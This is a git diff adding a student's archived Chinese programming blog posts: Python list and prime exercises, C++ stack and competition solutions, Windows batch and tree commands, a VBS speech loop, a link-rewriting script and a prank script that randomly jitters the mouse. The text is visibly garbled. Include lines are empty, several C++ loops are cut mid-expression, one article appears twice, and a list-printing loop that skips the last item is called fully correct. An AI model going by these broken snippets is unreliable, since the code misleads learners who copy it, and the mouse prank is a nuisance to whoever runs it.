"b/Python\350\276\223\345\207\272\345\210\227\350\241\250\344\270\255\344\277\241\346\201\257\347\232\204\345\207\240\347\247\215\345\212\236\346\263\225.md" new file mode 100644 index 0000000..838c663 --- /dev/null +++ "b/Python\350\276\223\345\207\272\345\210\227\350\241\250\344\270\255\344\277\241\346\201\257\347\232\204\345\207\240\347\247\215\345\212\236\346\263\225.md" @@ -0,0 +1,57 @@ +> 今天我们来用Python输出列表中的信息。 +> 不用任何第三方和标准库。 + +我们输出的要求是: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2020082013224888.png#pic_center) +**在同一行内,隔两个空格再写内容!** + +步骤: +1.打开开发工具,新建一个Python文档,输入代码如下: + +```python +#首先声明一个列表 +names = ['Python','C/C++','PHP','Java/JavaScript','C#','汇编','Shell','ActionScript','VbScript'] + +#方法一:直接输出里面的内容 +print(names[0],' ',names[1],' ',names[2],' ',names[3],' ',names[4],' ',names[5],' ') +#缺点:很麻烦 +print(names) +#缺点:不是想要的格式 + +#方法二:切片 +print(names[0:6]) +#优点:代码少 +#缺点:不是想要的格式 + +#方法三:while循环、len() +record = 0 +while record <= len(names) - 1: + print(names[record],end = ' ') + record += 1 +#优点:实现了效果,运行完全正确 +#缺点:代码量太大了,效率低 + +#方法四:range()、len() +for i in range(0,len(names) - 1): + print(names[i],end = ' ') +#优点:实现了效果,运行完全正确,代码少 +#缺点:逻辑容易搞不清,代码量还能更少 + +#方法五:遍历迭代 +for i in names: + print(i,end = ' ') +#优点:实现了效果,运行完全正确,代码极少 +#缺点:无 +``` +我个人比较推荐使用`for ... in ...`循环,承包了所有优点! +当使用死循环时可以使用`while`循环: + +```python +record = 0 +while True: + print('这是一个死循环,运行已经%s次了!' % (record)) + record += 1 +``` + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200820133557148.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) + diff --git "a/Python\350\276\223\345\207\272\346\214\207\345\256\232\346\225\260\344\273\245\345\206\205\347\232\204\350\264\250\346\225\260.md" "b/Python\350\276\223\345\207\272\346\214\207\345\256\232\346\225\260\344\273\245\345\206\205\347\232\204\350\264\250\346\225\260.md" new file mode 100644 index 0000000..64ae479 --- /dev/null +++ "b/Python\350\276\223\345\207\272\346\214\207\345\256\232\346\225\260\344\273\245\345\206\205\347\232\204\350\264\250\346\225\260.md" @@ -0,0 +1,44 @@ +小学四年级的教材中,有一个叫做“质数”的东西。至于质数是什么,自己百度搜索。 +今天写代码我们来输出指定数一下的质数。 + +> 本次我们不需要准备任何库! + +实现效果如下: +![效果图](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200710170428918.png) +![效果图 +](https://img-blog.csdnimg.cn/20200710170612601.png) +步骤: +1.打开开发工具,新建一个空白Python文件。 +2.输入代码: + +```python +#创建prime函数,里面有一个参数maxNumber +def prime(maxNumber): + #创建所需变量 + list = [] + min = 2 + #嵌套循环 + while min <= maxNumber: + #创建新开关 + is_prime = True + #嵌套第二层循环,这里不再细说 + for i in range(2,min): + if (min % i) == 0: + is_prime = False + break + #判断开关是否为True + if is_prime == True: + list.append(min) + min += 1 + #输出列表 + print('{0} 以下的质数有:'.format(maxNumber)) + print(list) + print() + +#调用函数,别忘了里面要传入参数 +prime(50) +prime(30) +``` +代码完成了。 +注:可以用这种方式,也可以用双重for循环,输出的方法不唯一。 + diff --git "a/Python\351\233\206\345\220\210\350\257\246\350\247\243.md" "b/Python\351\233\206\345\220\210\350\257\246\350\247\243.md" new file mode 100644 index 0000000..c0c5595 --- /dev/null +++ "b/Python\351\233\206\345\220\210\350\257\246\350\247\243.md" @@ -0,0 +1,6 @@ +以下内容选自我编著的一本书: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/acc7791e89514fc5bb2bf3756c5fbd3c.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/3bb38e4ea3324832a4666663f21eb33d.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4e1fd4477f9941f095a0b58316711ed3.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a3d053e59e754c7e8a0b37ba5bdf9483.png) + diff --git a/README.md b/README.md new file mode 100644 index 0000000..623bc6b --- /dev/null +++ b/README.md @@ -0,0 +1,45 @@ +# PanDaoxi 的 CSDN 文章合集 + +我曾经一直有在 CSDN 写博客的习惯,并维持了将近三年,创作了共 $420$ 篇文章。\ +由于学业压力,我退出了 CSDN,后来将这些文章全部转出,存储到了我的[技术博客](https://pandaoxi.gitee.io/tech-blog)上。\ +后来又更新技术博客,于是又将旧网址安置在这里,后期不打算继续在此处更新,仅做学习笔记使用。 + +--- + +# 关于 + +此网站是 是 PanDaoxi 的技术博客的分站。\ +`Daoxi365` 创立于 $2022$ 年 $8$ 月,由 PanDaoxi 开发并运营至今。 + +所有文章皆为作者原创,禁止转载;\ +自 CSDN 退站以来,所有文章都首发于 `Daoxi365` 系列。 + +我的一些网址:\ +(标记“【用】”的表示可以正常使用;标记“【旧】”的表示是曾用网站,链接已经失效,甚至跳转可能也已经失效;标记“【并】”的表示已经与其他网站合并;标记“【封】”的表示是现在仍在用,但是已经不再更新的。) + +1. `Daoxi365` 系列: + - 【旧】`Daoxi365` 网站([`https://daoxi365.netlify.app/`](https://daoxi365.netlify.app/)) + - 【旧】`Tech Blog` 技术博客([`https://pandaoxi.netlify.app/`](https://pandaoxi.netlify.app/)) + - 【旧】`Daoxi365` 网站([`https://pandaoxi.gitee.io/`](https://pandaoxi.gitee.io/)) + - 【旧】`Tech Blog` 技术博客([`https://pandaoxi.gitee.io/tech-blog/`](https://pandaoxi.gitee.io/tech-blog)) + - 【并】`Software Blog` 软件博客([`https://pandaoxi.gitee.io/software/`](https://pandaoxi.gitee.io/software)) + - 【用】`Daoxi365` 网站([`https://daoxi365.github.io/`](https://daoxi365.github.io/)) + - 【用】`Tech Blog` 技术博客([`https://daoxi365.github.io/tech-blog/`](https://daoxi365.github.io/tech-blog)) + - 【用】`About` 个人简历([`https://pandaoxi.github.io/`](https://pandaoxi.github.io/)) + - 【封】`CSDN-BLOG` 原 CSDN 文章 ([`https://pandaoxi.github.io/csdn-blog/`](https://pandaoxi.github.io/csdn-blog/)) + +2. 其他的,非 `Daoxi365` 系列的: + - 【封】`CSDN` 纪念(链接尚存 [`https://pandaoxi.blog.csdn.net/`](https://pandaoxi.blog.csdn.net/)) + - 【封】博客园 纪念(链接尚存 [`https://www.cnblogs.com/pandaoxi`](https://www.cnblogs.com/pandaoxi)) + - 【封】51CTO 纪念(链接尚存 [`https://blog.51cto.com/pandaoxi`](https://blog.51cto.com/pandaoxi)) + - 【用】bilibili [`https://space.bilibili.com/1016727711`](https://space.bilibili.com/1016727711) + +以前的旧网址 `daoxi365.netlify.app` 将会做跳转处理!\ +如果您有任何关于网站的问题,欢迎联系 `2060642520@qq.com` 或 `pandaoxi365@gmail.com`。 + +``` +Copyright 2022-2024 by PanDaoxi. +All rights reserved. +``` + +**任何盗版,终将绳之以法。** diff --git "a/STL\346\250\241\346\235\277\346\223\215\344\275\234\346\240\210.md" "b/STL\346\250\241\346\235\277\346\223\215\344\275\234\346\240\210.md" new file mode 100644 index 0000000..ffce1ed --- /dev/null +++ "b/STL\346\250\241\346\235\277\346\223\215\344\275\234\346\240\210.md" @@ -0,0 +1,63 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/30140e6b6edd45319ab74c42be31b8d6.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b71f9ea3325a4a869d369e57ea38f17c.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +还是这一道题: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b04d5275e8df4b87a7f09a1459ad3b61.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +可以用这样的方法: +```cpp +//Author:PanDaoxi +#include +#include +using namespace std; +const int n=100; +char a[n+1],s[100]; +int top=0; +int main(){ + cin>>a; + int len=strlen(a); + for(int i=0;i0&&s[top]=='(') top--; + else if(a[i]==']'&&top>0&&s[top]=='[') top--; + else { + cout<<"NO"< +#include +#include +using namespace std; +char a[100]; +stack s; // 创建char类型的栈s +int main(){ + cin>>a; + int len=strlen(a); + for(int i=0;i> Your_Files.txt +``` +这样,你就会在桌面上看到一个名为`Your_Files.txt`的文件(此方法仅限于桌面名称没修改过的,比如把桌面上的文件同步,那就不一样了,路径就是`%USERPROFILE%\OneDrive\Desktop`)! diff --git "a/Shell\345\221\275\344\273\244\346\237\245\347\234\213\347\233\256\345\275\225\346\240\221.md" "b/Shell\345\221\275\344\273\244\346\237\245\347\234\213\347\233\256\345\275\225\346\240\221.md" new file mode 100644 index 0000000..277b6bf --- /dev/null +++ "b/Shell\345\221\275\344\273\244\346\237\245\347\234\213\347\233\256\345\275\225\346\240\221.md" @@ -0,0 +1,23 @@ +代码很简单,语法是: + +``` +以图形显示驱动器或路径的文件夹结构。 + +TREE [drive:][path] [/F] [/A] + + /F 显示每个文件夹中文件的名称。 + /A 使用 ASCII 字符,而不使用扩展字符。 +``` +如果想要看`C:\`的目录树,代码就是这样: + +```powershell +tree C:\ +``` +这样你就可以看到效果了,如果想要输出到文本文档,请输入以下代码: + +```powershell +cd "%USERPROFILE%\Desktop" +tree C:\ >> Your_Files.txt +``` +这样,效果就实现出来了。 + diff --git "a/VBS\345\276\252\347\216\257\350\257\264\346\225\260\345\255\227.md" "b/VBS\345\276\252\347\216\257\350\257\264\346\225\260\345\255\227.md" new file mode 100644 index 0000000..76a04ac --- /dev/null +++ "b/VBS\345\276\252\347\216\257\350\257\264\346\225\260\345\255\227.md" @@ -0,0 +1,10 @@ +今天我们来实现一下VBS循环说数字的效果。 +新建一个文本文档,改拓展名为`.vbs`或`.vbe`,输入以下内容: + +```vbnet +set sapi = createObject("Sapi.SpVoice") +for i = 1 to 100 +sapi.Speak i +Next +``` +保存,退出,运行,就能听见标准“讲述人”的声音了! diff --git "a/Windows10\345\210\207\346\215\242\345\261\217\345\271\225.md" "b/Windows10\345\210\207\346\215\242\345\261\217\345\271\225.md" new file mode 100644 index 0000000..a13298f --- /dev/null +++ "b/Windows10\345\210\207\346\215\242\345\261\217\345\271\225.md" @@ -0,0 +1,18 @@ +(目前这招好像只能在`windows10`上搞) +有时候桌面上程序太多太多了: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/362621d2df2e45adbafd9cb78d71c98a.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +我们可以点击“任务视图”新建桌面: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/210178038a6740a1964811758f25d5d1.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +得到了一个全新的桌面。 +同样的方法我们可以切换回去。 + +
+ +快捷键如下: + +新建桌面:windows+Ctrl+D +切换桌面:windows+Ctrl+ +关闭桌面: +(笔记本)windows+Ctrl+Fn+F4 +(台式机)windows+Ctrl+F4 diff --git "a/Windows\346\211\271\345\244\204\347\220\206\350\276\223\345\207\272YYYY-MM-DD\347\232\204\346\227\245\346\234\237.md" "b/Windows\346\211\271\345\244\204\347\220\206\350\276\223\345\207\272YYYY-MM-DD\347\232\204\346\227\245\346\234\237.md" new file mode 100644 index 0000000..57f9af6 --- /dev/null +++ "b/Windows\346\211\271\345\244\204\347\220\206\350\276\223\345\207\272YYYY-MM-DD\347\232\204\346\227\245\346\234\237.md" @@ -0,0 +1,23 @@ +```bash +@echo off +echo %date:~0,4%-%date:~5,2%-%date:~8,2% +pause +``` +不要问我怎么写的,我一个一个试出来的。 + +我看到网上有人直接用`%date%`的,我试了一下结果是`2022/05/14 周六`,我想把前面的年月日提取出来,就类似于Python的列表切片。 + +实现的效果就像这样:YYYY-MM-DD +如果要修改连起来的符号,就修改中间的内容。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/9a171b05ce6a47e79e040277168611d1.png) + +进一步研究,我们可以重新编写程序,给我快速创建一个练习用的文件夹。 + +```bash +@echo off +set t=%date:~0,4%-%date:~5,2%-%date:~8,2% +md "%t%" +for /l %%i in (1,1,15) do echo // Author:PanDaoxi>>"%t%\%%i.cpp" +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/ff982cd95e713f20c867e75ec43f01ad.gif#pic_center) +总之,还有很多其他的用法,等待着大家去发掘。 diff --git "a/[CSP-J2020] \344\274\230\347\247\200\347\232\204\346\213\206\345\210\206.md" "b/[CSP-J2020] \344\274\230\347\247\200\347\232\204\346\213\206\345\210\206.md" new file mode 100644 index 0000000..574dd0a --- /dev/null +++ "b/[CSP-J2020] \344\274\230\347\247\200\347\232\204\346\213\206\345\210\206.md" @@ -0,0 +1,91 @@ +# [CSP-J2020] 优秀的拆分 + +## 题目描述 + +一般来说,一个正整数可以拆分成若干个正整数的和。 + +例如,$1=1$,$10=1+2+3+4$ 等。对于正整数 $n$ 的一种特定拆分,我们称它为“优秀的”,当且仅当在这种拆分下,$n$ 被分解为了若干个**不同**的 $2$ 的**正整数**次幂。注意,一个数 $x$ 能被表示成 $2$ 的正整数次幂,当且仅当 $x$ 能通过正整数个 $2$ 相乘在一起得到。 + +例如,$10=8+2=2^3+2^1$ 是一个优秀的拆分。但是,$7=4+2+1=2^2+2^1+2^0$ 就不是一个优秀的拆分,因为 $1$ 不是 $2$ 的正整数次幂。 + +现在,给定正整数 $n$,你需要判断这个数的所有拆分中,是否存在优秀的拆分。若存在,请你给出具体的拆分方案。 + +## 输入格式 + +输入只有一行,一个整数 $n$,代表需要判断的数。 + +## 输出格式 + +如果这个数的所有拆分中,存在优秀的拆分。那么,你需要从大到小输出这个拆分中的每一个数,相邻两个数之间用一个空格隔开。可以证明,在规定了拆分数字的顺序后,该拆分方案是唯一的。 + +若不存在优秀的拆分,输出 `-1`。 + +## 样例 #1 + +### 样例输入 #1 + +``` +6 +``` + +### 样例输出 #1 + +``` +4 2 +``` + +## 样例 #2 + +### 样例输入 #2 + +``` +7 +``` + +### 样例输出 #2 + +``` +-1 +``` + +## 提示 + +### 样例 1 解释 + +$6=4+2=2^2+2^1$ 是一个优秀的拆分。注意,$6=2+2+2$ 不是一个优秀的拆分,因为拆分成的 $3$ 个数不满足每个数互不相同。 + +--- + +### 数据规模与约定 + +- 对于 $20\%$ 的数据,$n \le 10$。 +- 对于另外 $20\%$ 的数据,保证 $n$ 为奇数。 +- 对于另外 $20\%$ 的数据,保证 $n$ 为 $2$ 的正整数次幂。 +- 对于 $80\%$ 的数据,$n \le 1024$。 +- 对于 $100\%$ 的数据,$1 \le n \le {10}^7$。 + +```cpp +//Author:PanDaoxi +#include +#include +using namespace std; +int main(){ + int n,a[27]={1}; + cin>>n; + if(n%2==1||n==2){ + cout<<"-1"<=1;i--){ + if(n>=a[i]){ + n-=a[i]; + cout< +#include +using namespace std; +int main(){ + int n,a[27]={1}; + cin>>n; + if(n%2==1||n==2){ + cout<<"-1"<=1;i--){ + if(n>=a[i]){ + n-=a[i]; + cout< 历尽千辛万苦,我终于$AC$啦! +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d0f998a3a56d45e5bc2dbcb2b04d50dc.png) + + + +> +> # [NOIP2002 普及组] 过河卒 +> +> ## 题目描述 +> +> 棋盘上 $A$ 点有一个过河卒,需要走到目标 $B$ 点。卒行走的规则:可以向下、或者向右。同时在棋盘上 $C$ +> 点有一个对方的马,该马所在的点和所有跳跃一步可达的点称为对方马的控制点。因此称之为“马拦过河卒”。 +> +> 棋盘用坐标表示,$A$ 点 $(0, 0)$、$B$ 点 $(n, m)$,同样马的位置坐标是需要给出的。 +> +> ![](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/6248d7605714f75ae361f034d71afaa5.png) +> +> 现在要求你计算出卒从 $A$ 点能够到达 $B$ 点的路径的条数,假设马的位置是固定不动的,并不是卒走一步马走一步。 +> +> ## 输入格式 +> +> 一行四个正整数,分别表示 $B$ 点坐标和马的坐标。 +> +> ## 输出格式 +> +> 一个整数,表示所有的路径条数。 +> +> ## 样例 #1 +> +> ### 样例输入 #1 +> +> ```6 6 3 3 ``` +> +> ### 样例输出 #1 +> +> ```6 ``` +> +> ## 提示 +> +> 对于 $100 \%$ 的数据,$1 \le n, m \le 20$,$0 \le$ 马的坐标 $\le 20$。 +> +> **【题目来源】** +> +> NOIP 2002 普及组第四题 + +我们一起来看下这道题,是NOIP的最后一题(对于我这种蒟蒻,难度已经很大了),洛谷官方给的算法标签是动态规划! +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b712878316f84820b81a8e6af4bfd2ec.png) +我们来想想看啊,能简化就简化。 + +> 在此之前,我们先来想一个事儿,比如说这个格子,我们从$S$走到$E$,有多少种不同的走法? +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8b3c177b59cb4584a3c44d643cb33fe3.png) +> 很简单,小学数学填数法。 +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/44c95f77526847859e323b1ae39755ee.png) +> 同样的,我们想一下,模拟下它们的位置,找出递推关系式: +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/1fcc766bf63f4edc99b864acb88fac94.png) +> 显而易见,$a(i,j)=a(i-1,j)+a(i,j-1)$是这个题的关系式,同样也是这道大题的关系式。 + +现在,让我们一起来思考一下这道题。 +同样的,我们可以确定,把马可以移动的的坐标表示出来,然后标上0。 +(注意这个题要开$long\ long$哈,不然就超出范围了) + +```cpp + // 输入数据 + long long a[100][100]={}; + int n,m,x,y; + cin>>n>>m>>x>>y; + for(int i=0;i<=n;i++){ + for(int j=0;j<=m;j++){ + a[i][j]=1; + } + } + // 表示马的坐标 + a[x][y]=0; + if(x-2>=0&&y-1>=0) a[x-2][y-1]=0; + if(x-2>=0&&y+1<=m) a[x-2][y+1]=0; + if(x-1>=0&&y-2>=0) a[x-1][y-2]=0; + if(x-1>=0&&y+2<=m) a[x-1][y+2]=0; + if(x+1<=n&&y-2>=0) a[x+1][y-2]=0; + if(x+2<=n&&y-1>=0) a[x+2][y-1]=0; + if(x+2<=n&&y+1<=m) a[x+2][y+1]=0; + if(x+1<=n&&y+2<=m) a[x+1][y+2]=0; +``` + + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2540c72a76454de6a5e87f0df2207d38.png) +判断是否越界,如果越界了,就移动不了了呗。 + +核心的递推,在这儿: + +> $i=0$ 是第一行,除了控制点,只能从左侧来,$a(i,j)=$ 左侧的值 + $j=0$ 是第一列,除了控制点,只能从上方来,$a(i,j)=$ 上方的值 + 其余点,除了控制点,按照以前的关系式求和 $a(i,j)=a(i-1,j)+a(i,j-1)$ + +```cpp + for(int i=0;i<=n;i++){ + for(int j=0;j<=m;j++){ + if(i==0&&j==0) continue; + if(a[i][j]==0) continue; + if(i==0) a[i][j]=a[i][j-1]; + else if(j==0) a[i][j]=a[i-1][j]; + else a[i][j]=a[i-1][j]+a[i][j-1]; + } + } +``` +最后简简单单,输出就完了。 + +```cpp + cout< +using namespace std; +int main(){ + long long a[100][100]={}; + int n,m,x,y; + cin>>n>>m>>x>>y; + for(int i=0;i<=n;i++){ + for(int j=0;j<=m;j++){ + a[i][j]=1; + } + } + a[x][y]=0; + if(x-2>=0&&y-1>=0) a[x-2][y-1]=0; + if(x-2>=0&&y+1<=m) a[x-2][y+1]=0; + if(x-1>=0&&y-2>=0) a[x-1][y-2]=0; + if(x-1>=0&&y+2<=m) a[x-1][y+2]=0; + if(x+1<=n&&y-2>=0) a[x+1][y-2]=0; + if(x+2<=n&&y-1>=0) a[x+2][y-1]=0; + if(x+2<=n&&y+1<=m) a[x+2][y+1]=0; + if(x+1<=n&&y+2<=m) a[x+1][y+2]=0; + for(int i=0;i<=n;i++){ + for(int j=0;j<=m;j++){ + if(i==0&&j==0) continue; + if(a[i][j]==0) continue; + if(i==0) a[i][j]=a[i][j-1]; + else if(j==0) a[i][j]=a[i-1][j]; + else a[i][j]=a[i-1][j]+a[i][j-1]; + } + } + cout< 历尽千辛万苦,我终于$AC$啦! +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d0f998a3a56d45e5bc2dbcb2b04d50dc.png) + + + +> +> # [NOIP2002 普及组] 过河卒 +> +> ## 题目描述 +> +> 棋盘上 $A$ 点有一个过河卒,需要走到目标 $B$ 点。卒行走的规则:可以向下、或者向右。同时在棋盘上 $C$ +> 点有一个对方的马,该马所在的点和所有跳跃一步可达的点称为对方马的控制点。因此称之为“马拦过河卒”。 +> +> 棋盘用坐标表示,$A$ 点 $(0, 0)$、$B$ 点 $(n, m)$,同样马的位置坐标是需要给出的。 +> +> ![](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/6248d7605714f75ae361f034d71afaa5.png) +> +> 现在要求你计算出卒从 $A$ 点能够到达 $B$ 点的路径的条数,假设马的位置是固定不动的,并不是卒走一步马走一步。 +> +> ## 输入格式 +> +> 一行四个正整数,分别表示 $B$ 点坐标和马的坐标。 +> +> ## 输出格式 +> +> 一个整数,表示所有的路径条数。 +> +> ## 样例 #1 +> +> ### 样例输入 #1 +> +> ```6 6 3 3 ``` +> +> ### 样例输出 #1 +> +> ```6 ``` +> +> ## 提示 +> +> 对于 $100 \%$ 的数据,$1 \le n, m \le 20$,$0 \le$ 马的坐标 $\le 20$。 +> +> **【题目来源】** +> +> NOIP 2002 普及组第四题 + +我们一起来看下这道题,是NOIP的最后一题(对于我这种蒟蒻,难度已经很大了),洛谷官方给的算法标签是动态规划! +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b712878316f84820b81a8e6af4bfd2ec.png) +我们来想想看啊,能简化就简化。 + +> 在此之前,我们先来想一个事儿,比如说这个格子,我们从$S$走到$E$,有多少种不同的走法? +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8b3c177b59cb4584a3c44d643cb33fe3.png) +> 很简单,小学数学填数法。 +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/44c95f77526847859e323b1ae39755ee.png) +> 同样的,我们想一下,模拟下它们的位置,找出递推关系式: +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/1fcc766bf63f4edc99b864acb88fac94.png) +> 显而易见,$a(i,j)=a(i-1,j)+a(i,j-1)$是这个题的关系式,同样也是这道大题的关系式。 + +现在,让我们一起来思考一下这道题。 +同样的,我们可以确定,把马可以移动的的坐标表示出来,然后标上0。 +(注意这个题要开$long\ long$哈,不然就超出范围了) + +```cpp + // 输入数据 + long long a[100][100]={}; + int n,m,x,y; + cin>>n>>m>>x>>y; + for(int i=0;i<=n;i++){ + for(int j=0;j<=m;j++){ + a[i][j]=1; + } + } + // 表示马的坐标 + a[x][y]=0; + if(x-2>=0&&y-1>=0) a[x-2][y-1]=0; + if(x-2>=0&&y+1<=m) a[x-2][y+1]=0; + if(x-1>=0&&y-2>=0) a[x-1][y-2]=0; + if(x-1>=0&&y+2<=m) a[x-1][y+2]=0; + if(x+1<=n&&y-2>=0) a[x+1][y-2]=0; + if(x+2<=n&&y-1>=0) a[x+2][y-1]=0; + if(x+2<=n&&y+1<=m) a[x+2][y+1]=0; + if(x+1<=n&&y+2<=m) a[x+1][y+2]=0; +``` + + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2540c72a76454de6a5e87f0df2207d38.png) +判断是否越界,如果越界了,就移动不了了呗。 + +核心的递推,在这儿: + +> $i=0$ 是第一行,除了控制点,只能从左侧来,$a(i,j)=$ 左侧的值 + $j=0$ 是第一列,除了控制点,只能从上方来,$a(i,j)=$ 上方的值 + 其余点,除了控制点,按照以前的关系式求和 $a(i,j)=a(i-1,j)+a(i,j-1)$ + +```cpp + for(int i=0;i<=n;i++){ + for(int j=0;j<=m;j++){ + if(i==0&&j==0) continue; + if(a[i][j]==0) continue; + if(i==0) a[i][j]=a[i][j-1]; + else if(j==0) a[i][j]=a[i-1][j]; + else a[i][j]=a[i-1][j]+a[i][j-1]; + } + } +``` +最后简简单单,输出就完了。 + +```cpp + cout< +using namespace std; +int main(){ + long long a[100][100]={}; + int n,m,x,y; + cin>>n>>m>>x>>y; + for(int i=0;i<=n;i++){ + for(int j=0;j<=m;j++){ + a[i][j]=1; + } + } + a[x][y]=0; + if(x-2>=0&&y-1>=0) a[x-2][y-1]=0; + if(x-2>=0&&y+1<=m) a[x-2][y+1]=0; + if(x-1>=0&&y-2>=0) a[x-1][y-2]=0; + if(x-1>=0&&y+2<=m) a[x-1][y+2]=0; + if(x+1<=n&&y-2>=0) a[x+1][y-2]=0; + if(x+2<=n&&y-1>=0) a[x+2][y-1]=0; + if(x+2<=n&&y+1<=m) a[x+2][y+1]=0; + if(x+1<=n&&y+2<=m) a[x+1][y+2]=0; + for(int i=0;i<=n;i++){ + for(int j=0;j<=m;j++){ + if(i==0&&j==0) continue; + if(a[i][j]==0) continue; + if(i==0) a[i][j]=a[i][j-1]; + else if(j==0) a[i][j]=a[i-1][j]; + else a[i][j]=a[i-1][j]+a[i][j-1]; + } + } + cout< + + + + + 【PanDaoxi】CSDN Blog + + + + + + + + + + + + +
Loading
+ + + + + + + + + + + + + + + + + + + diff --git a/maker.py b/maker.py new file mode 100644 index 0000000..9de3869 --- /dev/null +++ b/maker.py @@ -0,0 +1,38 @@ +import os +import re + +def extract_image_links_from_markdown(markdown_text): + pattern = r'!\[.*?\]\((.*?)\)' + image_links = re.findall(pattern, markdown_text) + return image_links + + +pths = [] +names = [] +for i, j, k in os.walk("1/"): + if not len(names): + names = k + for l in k: + pths.append(os.path.join(i, l)) + +for i in range(0, len(pths)): + r = "" + names[i] = names[i].split(".md")[0].replace("~", "-").replace(" ", "") + with open(pths[i], "r", encoding="utf-8") as f: + r = f.read() + for j in extract_image_links_from_markdown(r): + r = r.replace(j, "https://pic.2ge.org/cdn/?url=%s" % j) + with open("2/%s.md" % names[i], "w", encoding="utf-8") as f: + f.write(r) + print(i, names[i]) + + +x = "" +for i in names: + j = i + x += "- [%s](%s)\n" % (j, j) + +with open("2/_sidebar.md", "w", encoding="utf-8") as f: + f.write(x) + +input() \ No newline at end of file diff --git "a/pip\345\215\207\347\272\247\347\250\213\345\272\217.md" "b/pip\345\215\207\347\272\247\347\250\213\345\272\217.md" new file mode 100644 index 0000000..3d2f170 --- /dev/null +++ "b/pip\345\215\207\347\272\247\347\250\213\345\272\217.md" @@ -0,0 +1,7 @@ +在命令行里面输入: + +```powershell +python -m pip install -U pip +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210715140517121.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + diff --git "a/python\345\256\236\347\216\260\351\274\240\346\240\207\346\212\226\345\212\250.md" "b/python\345\256\236\347\216\260\351\274\240\346\240\207\346\212\226\345\212\250.md" new file mode 100644 index 0000000..d8a52b6 --- /dev/null +++ "b/python\345\256\236\347\216\260\351\274\240\346\240\207\346\212\226\345\212\250.md" @@ -0,0 +1,23 @@ +```python +from random import randint +from pyautogui import position,moveTo,size,FAILSAFE + +FAILSAFE = False +sX,sY = size() +while True: + try: + x,y = position() + if x <= sX and y <= sY: + newX = eval('%d %s %d' % (x,['+','-'][randint(0,1)],randint(1,12))) + newY = eval('%d %s %d' % (y,['+','-'][randint(0,1)],randint(1,12))) + moveTo(newX,newY) + else: + moveTo(0,0) + except: + pass +``` 